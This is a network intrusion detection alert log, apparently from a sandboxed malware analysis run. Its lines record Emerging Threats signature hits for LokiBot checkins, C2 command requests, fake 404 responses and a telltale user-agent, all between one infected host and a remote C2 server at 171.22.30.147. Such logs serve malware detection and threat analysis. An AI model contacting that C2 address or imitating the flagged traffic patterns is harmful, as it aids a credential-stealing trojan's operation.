192.168.2.3171.22.30.14749774802024313 01/05/23-08:52:32.369884	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749748802025381 01/05/23-08:52:24.879047	TCP	2025381	ET TROJAN LokiBot Checkin	49748	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750018802025381 01/05/23-08:53:44.999195	TCP	2025381	ET TROJAN LokiBot Checkin	50018	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749925802825766 01/05/23-08:53:17.874226	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49925	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749860802024313 01/05/23-08:52:58.886735	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49860	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498782025483 01/05/23-08:53:03.786236	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49878	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749747802825766 01/05/23-08:52:24.577114	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49747	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749978802024318 01/05/23-08:53:34.155329	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49978	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749860802024318 01/05/23-08:52:58.886735	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49860	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749877802825766 01/05/23-08:53:03.433942	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49877	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749926802025381 01/05/23-08:53:18.143087	TCP	2025381	ET TROJAN LokiBot Checkin	49926	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498562025483 01/05/23-08:52:57.873353	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49856	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749912802021641 01/05/23-08:53:14.329479	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49912	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497142025483 01/05/23-08:52:13.439751	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49714	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500382025483 01/05/23-08:53:51.682835	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50038	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749788802825766 01/05/23-08:52:37.784136	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49788	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499872025483 01/05/23-08:53:36.633144	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49987	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749746802024318 01/05/23-08:52:24.299560	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49746	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749924802024313 01/05/23-08:53:17.587003	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49924	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498342025483 01/05/23-08:52:50.604457	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49834	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750070802825766 01/05/23-08:54:00.166694	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50070	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499832025483 01/05/23-08:53:35.550441	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49983	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750047802825766 01/05/23-08:53:54.007519	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50047	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750048802021641 01/05/23-08:53:54.265201	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50048	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498502025483 01/05/23-08:52:56.257670	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49850	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749719802825766 01/05/23-08:52:15.841614	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49719	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750054802024313 01/05/23-08:53:55.890469	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50054	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499462025483 01/05/23-08:53:23.634143	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49946	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749871802025381 01/05/23-08:53:01.829225	TCP	2025381	ET TROJAN LokiBot Checkin	49871	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500222025483 01/05/23-08:53:46.752847	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50022	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500262025483 01/05/23-08:53:48.419968	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50026	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749849802024318 01/05/23-08:52:55.895226	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49849	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749947802024318 01/05/23-08:53:23.814636	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49947	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749818802021641 01/05/23-08:52:46.013246	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49818	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749944802021641 01/05/23-08:53:23.021157	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49944	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499092025483 01/05/23-08:53:13.570729	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49909	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749754802024313 01/05/23-08:52:26.655822	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49754	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749852802024313 01/05/23-08:52:56.705137	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49852	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749754802024318 01/05/23-08:52:26.655822	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49754	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749852802024318 01/05/23-08:52:56.705137	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49852	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749966802025381 01/05/23-08:53:30.946864	TCP	2025381	ET TROJAN LokiBot Checkin	49966	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749868802025381 01/05/23-08:53:01.029018	TCP	2025381	ET TROJAN LokiBot Checkin	49868	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749745802025381 01/05/23-08:52:24.023320	TCP	2025381	ET TROJAN LokiBot Checkin	49745	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498882025483 01/05/23-08:53:06.467800	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49888	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749955802024313 01/05/23-08:53:25.989714	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49955	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750073802025381 01/05/23-08:54:00.951462	TCP	2025381	ET TROJAN LokiBot Checkin	50073	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749951802825766 01/05/23-08:53:24.927407	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49951	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499052025483 01/05/23-08:53:12.488803	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49905	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749750802825766 01/05/23-08:52:25.450968	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49750	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750004802025381 01/05/23-08:53:41.033557	TCP	2025381	ET TROJAN LokiBot Checkin	50004	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749727802825766 01/05/23-08:52:18.985108	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49727	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749849802024313 01/05/23-08:52:55.895226	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49849	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749845802825766 01/05/23-08:52:54.838950	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49845	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749826802021641 01/05/23-08:52:48.184567	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750054802024318 01/05/23-08:53:55.890469	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50054	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749743802021641 01/05/23-08:52:23.467755	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49743	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750071802021641 01/05/23-08:54:00.426977	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50071	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749838802021641 01/05/23-08:52:52.824149	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49838	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749891802025381 01/05/23-08:53:07.205477	TCP	2025381	ET TROJAN LokiBot Checkin	49891	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749734802024313 01/05/23-08:52:20.978367	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49734	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750062802024313 01/05/23-08:53:58.073723	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50062	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497892025483 01/05/23-08:52:38.164363	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49789	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749789802021641 01/05/23-08:52:38.076275	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49789	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749734802024318 01/05/23-08:52:20.978367	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49734	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750062802024318 01/05/23-08:53:58.073723	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50062	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749887802021641 01/05/23-08:53:06.117016	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49887	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749703802021641 01/05/23-08:52:08.565296	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49703	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749946802025381 01/05/23-08:53:23.547730	TCP	2025381	ET TROJAN LokiBot Checkin	49946	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749753802025381 01/05/23-08:52:26.326305	TCP	2025381	ET TROJAN LokiBot Checkin	49753	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749872802024318 01/05/23-08:53:02.084337	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49872	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749869802024318 01/05/23-08:53:01.298022	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49869	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749971802825766 01/05/23-08:53:32.299331	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49971	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498842025483 01/05/23-08:53:05.373418	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49884	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749955802024318 01/05/23-08:53:25.989714	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49955	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749872802024313 01/05/23-08:53:02.084337	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49872	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750027802825766 01/05/23-08:53:48.599181	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50027	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749865802825766 01/05/23-08:53:00.234414	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49865	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749902802825766 01/05/23-08:53:11.610501	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49902	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749869802024313 01/05/23-08:53:01.298022	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49869	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749989802825766 01/05/23-08:53:37.099082	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49989	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498692025483 01/05/23-08:53:01.381580	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49869	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749947802024313 01/05/23-08:53:23.814636	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49947	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498472025483 01/05/23-08:52:55.454099	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49847	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749730802825766 01/05/23-08:52:19.853027	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49730	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750053802025381 01/05/23-08:53:55.636070	TCP	2025381	ET TROJAN LokiBot Checkin	50053	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749924802021641 01/05/23-08:53:17.587003	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49924	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749904802021641 01/05/23-08:53:12.139251	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49904	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500072025483 01/05/23-08:53:41.908536	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50007	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750042802024313 01/05/23-08:53:52.687057	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50042	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749711802021641 01/05/23-08:52:12.061796	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49711	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750042802024318 01/05/23-08:53:52.687057	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50042	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749800802021641 01/05/23-08:52:41.099242	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49800	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749806802021641 01/05/23-08:52:42.779655	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49806	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749809802024318 01/05/23-08:52:43.596832	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49809	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500042025483 01/05/23-08:53:41.114864	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50004	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749766802024313 01/05/23-08:52:30.012463	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49766	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749809802024313 01/05/23-08:52:43.596832	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49809	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749707802825766 01/05/23-08:52:10.342729	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49707	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749766802024318 01/05/23-08:52:30.012463	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49766	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749840802024318 01/05/23-08:52:53.465268	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49840	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750002802021641 01/05/23-08:53:40.505314	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50002	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750005802024313 01/05/23-08:53:41.297546	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50005	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749822802025381 01/05/23-08:52:47.112264	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750005802024318 01/05/23-08:53:41.297546	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50005	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749935802024318 01/05/23-08:53:20.565175	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49935	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750011802021641 01/05/23-08:53:42.925761	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50011	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749993802021641 01/05/23-08:53:38.145026	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49993	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749840802024313 01/05/23-08:52:53.465268	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49840	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750044802025381 01/05/23-08:53:53.227481	TCP	2025381	ET TROJAN LokiBot Checkin	50044	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749796802825766 01/05/23-08:52:39.986568	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49796	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749733802025381 01/05/23-08:52:20.679095	TCP	2025381	ET TROJAN LokiBot Checkin	49733	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749967802024313 01/05/23-08:53:31.230819	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49967	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498662025483 01/05/23-08:53:00.596675	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49866	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749878802024313 01/05/23-08:53:03.704233	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49878	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750031802021641 01/05/23-08:53:49.661487	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50031	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500482025483 01/05/23-08:53:54.346619	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50048	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749911802825766 01/05/23-08:53:14.014731	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49911	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499992025483 01/05/23-08:53:39.815924	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49999	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749710802825766 01/05/23-08:52:11.662757	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49710	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750074802024313 01/05/23-08:54:01.233569	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50074	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750015802825766 01/05/23-08:53:43.993137	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50015	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750074802024318 01/05/23-08:54:01.233569	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50074	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749739802825766 01/05/23-08:52:22.339123	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49739	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750021802825766 01/05/23-08:53:46.361205	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50021	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749783802021641 01/05/23-08:52:36.372208	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49783	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749940802025381 01/05/23-08:53:21.893765	TCP	2025381	ET TROJAN LokiBot Checkin	49940	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749848802025381 01/05/23-08:52:55.640788	TCP	2025381	ET TROJAN LokiBot Checkin	49848	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749878802024318 01/05/23-08:53:03.704233	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49878	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749967802024318 01/05/23-08:53:31.230819	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49967	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749875802021641 01/05/23-08:53:02.907470	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49875	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750028802021641 01/05/23-08:53:48.853917	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50028	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749765802025381 01/05/23-08:52:29.748218	TCP	2025381	ET TROJAN LokiBot Checkin	49765	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749792802021641 01/05/23-08:52:38.887901	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749937802025381 01/05/23-08:53:21.090422	TCP	2025381	ET TROJAN LokiBot Checkin	49937	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749977802825766 01/05/23-08:53:33.899852	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49977	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749964802021641 01/05/23-08:53:30.400374	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49964	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497482025483 01/05/23-08:52:24.963164	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49748	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749881802021641 01/05/23-08:53:04.500331	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49881	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749770802825766 01/05/23-08:52:31.112136	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49770	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749851802025381 01/05/23-08:52:56.435777	TCP	2025381	ET TROJAN LokiBot Checkin	49851	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749983802825766 01/05/23-08:53:35.478290	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49983	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749885802825766 01/05/23-08:53:05.575803	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49885	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497512025483 01/05/23-08:52:25.845383	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49751	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749934802025381 01/05/23-08:53:20.304475	TCP	2025381	ET TROJAN LokiBot Checkin	49934	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749894802825766 01/05/23-08:53:08.006895	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49894	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749980802825766 01/05/23-08:53:34.702395	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49980	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497322025483 01/05/23-08:52:20.491522	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49732	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749935802024313 01/05/23-08:53:20.565175	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49935	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497732025483 01/05/23-08:52:31.998630	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49773	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750041802025381 01/05/23-08:53:52.410718	TCP	2025381	ET TROJAN LokiBot Checkin	50041	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749825802825766 01/05/23-08:52:47.903129	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49825	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499612025483 01/05/23-08:53:29.675200	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49961	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497102025483 01/05/23-08:52:11.755900	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49710	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497952025483 01/05/23-08:52:39.801322	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49795	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749723802021641 01/05/23-08:52:17.811814	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49723	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749908802825766 01/05/23-08:53:13.214132	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49908	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749701802825766 01/05/23-08:52:07.731855	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49701	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749812802021641 01/05/23-08:52:44.412618	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49812	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749914802825766 01/05/23-08:53:14.852027	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49914	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749717802024313 01/05/23-08:52:14.673219	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49717	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749800802024318 01/05/23-08:52:41.099242	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49800	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750045802024313 01/05/23-08:53:53.481872	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50045	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749809802021641 01/05/23-08:52:43.596832	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49809	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498162025483 01/05/23-08:52:45.565007	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49816	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750041802825766 01/05/23-08:53:52.410718	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50041	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749800802024313 01/05/23-08:52:41.099242	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49800	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749760802021641 01/05/23-08:52:28.304789	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49760	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749855802021641 01/05/23-08:52:57.514506	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49855	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500292025483 01/05/23-08:53:49.195503	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50029	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750057802021641 01/05/23-08:53:56.743180	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50057	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749960802025381 01/05/23-08:53:28.475539	TCP	2025381	ET TROJAN LokiBot Checkin	49960	80	192.168.2.3	171.22.30.147
